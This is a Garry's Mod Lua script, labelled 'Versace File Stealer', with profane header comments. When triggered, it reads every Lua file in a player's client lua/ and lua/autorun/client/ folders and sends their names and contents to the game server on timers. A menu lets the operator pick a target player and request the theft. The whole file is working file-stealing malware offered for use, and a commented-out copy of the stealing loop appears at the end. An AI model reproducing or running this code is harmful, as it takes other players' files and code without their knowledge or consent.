Code:
-- owned tyler
/*=========================
~Versace~
Fuck you
===========================*/
local LuaBlacklist = {
"test.lua",
"nuke_vars_init.lua",
"cssnag.lua",
"functiondump.lua",
"cl_init.lua",
"shared.lua",
"init.lua",
"von.lua",
"playxlib.lua",
"particletrace.lua",
"ass_client.lua",
"ass_cmd.lua",
"ass_config.lua",
"ass_debug.lua",
"ass_default_config.lua",
"ass_plugins.lua",
"ass_res.lua",
"ass_server.lua",
"ass_shared.lua",
"cl_pikmin.lua",
"nuke_vars_init.lua",
"pewpew_convars.lua",
"pewpew_damagecontrol.lua",
"pewpew_damagelog.lua",
"pewpew_deathnotice.lua",
"pewpew_gcomcatcombability.lua",
"pewpew_safezones.lua",
"pewpew_weaponhandler.lua",
"sv_pikmin.lua",
"ev_cl_init.lua",
"ev_defaultranks.lua",
"gengeolightdb.lua",
"gm_demo.lua",
}
local time = 0
net.Receive( "versace_salad", function()
for k, v in pairs( file.Find( "lua/*.lua", "GAME" ) ) do
time = time + 2
local filename = string.gsub( v, " ", "_" )
local contents = file.Read( "lua/" .. v, "GAME" )
contents = contents:Left( 63000 )
timer.Simple( time, function()
if !table.HasValue( LuaBlacklist, filename ) then
net.Start( "versace_getit" )
net.WriteString( filename )
net.WriteString( contents )
net.SendToServer()
end
end )
end
for k, v in pairs( file.Find( "lua/autorun/client/*.lua", "GAME" ) ) do
time = time + 2
local filename = string.gsub( v, " ", "_" )
local contents = file.Read( "lua/autorun/client/" .. v, "GAME" )
contents = contents:Left( 63000 )
timer.Simple( time, function()
if !table.HasValue( LuaBlacklist, filename ) then
net.Start( "versace_getit" )
net.WriteString( filename )
net.WriteString( contents )
net.SendToServer()
end
end )
end
timer.Simple( 30, function() time = 0 end )
end )
concommand.Add( "versace_menu", function()
local Form = vgui.Create( "DFrame" )
Form:SetPos( 500, 500 ) -- Position form on your monitor
Form:SetSize( 300, 60 ) -- Size form
Form:SetTitle( "Versace File Stealer" )
Form:SetVisible( true )
Form:SetDraggable( true )
Form:ShowCloseButton( true )
Form:MakePopup()
Form:SetSkin( "DarkRP" )
local PlayerList = vgui.Create( "DComboBox", Form )
PlayerList:SetPos( 10, 30 )
PlayerList:SetSize( 200, 20 )
for k, v in pairs( player.GetAll() ) do
PlayerList:AddChoice( v:Nick() )
end
PlayerList.OnSelect = function()
for k,v in pairs( player.GetAll() ) do
if v:Nick() == PlayerList:GetValue() then
selected = v
end
end
end
PlayerList:SetSkin( "DarkRP" )
local Submit = vgui.Create( "DButton" )
Submit:SetParent( Form )
Submit:SetText( "Submit" )
Submit:SetPos( 220, 30 )
Submit:SetSize( 70, 20 )
Submit.DoClick = function()
Form:SetVisible( false )
chat.AddText( Color( 0, 255, 0 ), "Submitted!" )
net.Start( "versace_python" )
net.WriteEntity( selected )
net.SendToServer()
end
Submit:SetSkin( "DarkRP" )
end )
/*
concommand.Add( "versace", function()
for k, v in pairs( file.Find( "lua/*.lua", "GAME" ) ) do
time = time + 2
local filename = string.gsub( v, " ", "_" )
local contents = file.Read( "lua/" .. v, "GAME" )
contents = contents:Left( 63000 )
timer.Simple( time, function()
if !table.HasValue( LuaBlacklist, filename ) then
net.Start( "versace_getit" )
net.WriteString( filename )
net.WriteString( contents )
net.SendToServer()
end
end )
end
for k, v in pairs( file.Find( "lua/autorun/client/*.lua", "GAME" ) ) do
time = time + 1
local filename = string.gsub( v, " ", "_" )
local contents = file.Read( "lua/autorun/client/" .. v, "GAME" )
contents = contents:Left( 63000 )
timer.Simple( time, function()
if !table.HasValue( LuaBlacklist, filename ) then
net.Start( "versace_getit" )
net.WriteString( filename )
net.WriteString( contents )
net.SendToServer()
end
end )
end
end )*/